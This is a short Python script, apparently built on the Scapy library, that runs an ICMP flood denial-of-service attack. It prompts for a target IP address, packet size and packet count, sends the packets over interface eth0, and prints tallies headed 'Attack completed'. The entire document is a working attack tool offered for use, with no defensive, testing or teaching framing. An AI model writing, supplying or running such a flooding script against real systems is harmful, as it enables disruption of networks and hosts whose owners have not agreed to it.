from scapy.all import *
import time

success_count = 0
failure_count = 0

def icmp_flood(target_ip, packet_size, num_packets):
    global success_count, failure_count
    packets = []
    for _ in range(num_packets):
        packet = IP(dst=target_ip)/ICMP()/"X"*packet_size
        packets.append(packet)
        try:
            send(packet, iface="eth0")
            success_count += 1
            print(f"Successfully sent ICMP request to IP: {target_ip} with packet size: {packet_size} bytes")
        except Exception as e:
            failure_count += 1

# User input
target_ip = input("Enter the target IP address: ")
packet_size = int(input("Enter the packet size (in bytes): "))
num_packets = int(input("Enter the number of packets to send: "))

# Perform ICMP flood attack
icmp_flood(target_ip, packet_size, num_packets)

total_packets = success_count + failure_count
print(f"Attack completed, total packets sent: {total_packets}")
print(f"Number of packets successfully sent: {success_count}")
print(f"Number of packets failed to send: {failure_count}")
print(f"Percentage of packets successfully sent: {success_count / total_packets * 100:.2f}%")
print(f"Number of packets to be sent: {num_packets}")